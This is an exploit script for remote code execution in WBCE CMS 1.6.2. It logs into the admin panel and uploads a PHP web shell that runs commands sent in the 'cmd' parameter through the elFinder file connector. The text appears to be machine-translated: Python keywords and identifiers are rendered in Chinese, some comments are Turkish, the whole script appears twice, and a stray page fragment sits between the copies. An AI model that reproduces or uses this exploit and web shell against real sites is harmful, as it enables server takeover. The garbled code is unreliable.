#利用标题: WBCE CMS V1.6.2-远程代码执行(RCE)
#日期: 3/5/2024
#利用作者: ahmetümitBayram
#供应商HomePage: https://wbce-cms.org/
#软件link:
#版本: 1.6.2
#在: MacOS上测试
导入请求
来自BS4进口美丽的小组
导入系统
进口时间
DEF登录(URL,用户名,密码):
打印('登录.')
时间。
使用requests.session()为Session:
响应=session.get(url +'/admin/login/index.php')
汤=beautifutsoup(响应。文本,'html.parser')
form=soup.find('form',attrs={'name':'login'})
form_data={input_tag ['name'] : input_tag.get('value','')in input_tag in
form.find_all('input')如果input_tag.get('type')!='submit'}
#kullanıcıadıveisifrealanlarınıdinamik olarakgüncelle
form_data [soup.find('input',{'name':'username_fieldname'})['value']]=
用户名
form_data [soup.find('input',{'name':'password_fieldname'})['value']]=
密码
post_response=session.post(url +'/admin/login/index.php',data=form_data)
如果post_response.text:中的“管理”
打印('登录成功!')
时间。
返回会话
其他:
打印('登录失败。')
打印(“收到的标题为:”,post_response.headers)
print('响应content:',post_response.text [:500])#İlk500 karakter
没有返回
def upload_file(session,url):
#DosyaIçeriğiniVeAdınıBelirleyin
打印('shell准备.')
时间。
files={'upload []':('shell.inc','''html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html''','application/ocket-stream')}}
数据={
'reqid':'18f3a5c13d42c5',
'cmd':'上传',
'target':'l1_lw',
'MTime []':'1714669495'
}
响应=session.post(url +'/modules/elfinder/ef/php/connector.wbce.php',
文件=文件,数据=数据)
if antsphy.status_code==200:
打印('您的外壳准备就绪:' + url +'/media/shell.inc')
其他:
打印(“无法上传文件。”)
打印(响应。文本)
如果name=='__ -Main __':
url=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
会话=登录(URL,用户名,密码)
如果Session:
upload_file(会话,URL)
#日期: 3/5/2024
#利用作者: ahmetümitBayram
#供应商HomePage: https://wbce-cms.org/
#软件link:
正在加载...
github.com
#在: MacOS上测试
导入请求
来自BS4进口美丽的小组
导入系统
进口时间
DEF登录(URL,用户名,密码):
打印('登录.')
时间。
使用requests.session()为Session:
响应=session.get(url +'/admin/login/index.php')
汤=beautifutsoup(响应。文本,'html.parser')
form=soup.find('form',attrs={'name':'login'})
form_data={input_tag ['name'] : input_tag.get('value','')in input_tag in
form.find_all('input')如果input_tag.get('type')!='submit'}
#kullanıcıadıveisifrealanlarınıdinamik olarakgüncelle
form_data [soup.find('input',{'name':'username_fieldname'})['value']]=
用户名
form_data [soup.find('input',{'name':'password_fieldname'})['value']]=
密码
post_response=session.post(url +'/admin/login/index.php',data=form_data)
如果post_response.text:中的“管理”
打印('登录成功!')
时间。
返回会话
其他:
打印('登录失败。')
打印(“收到的标题为:”,post_response.headers)
print('响应content:',post_response.text [:500])#İlk500 karakter
没有返回
def upload_file(session,url):
#DosyaIçeriğiniVeAdınıBelirleyin
打印('shell准备.')
时间。
files={'upload []':('shell.inc','''html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html''','application/ocket-stream')}}
数据={
'reqid':'18f3a5c13d42c5',
'cmd':'上传',
'target':'l1_lw',
'MTime []':'1714669495'
}
响应=session.post(url +'/modules/elfinder/ef/php/connector.wbce.php',
文件=文件,数据=数据)
if antsphy.status_code==200:
打印('您的外壳准备就绪:' + url +'/media/shell.inc')
其他:
打印(“无法上传文件。”)
打印(响应。文本)
如果name=='__ -Main __':
url=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
会话=登录(URL,用户名,密码)
如果Session:
upload_file(会话,URL)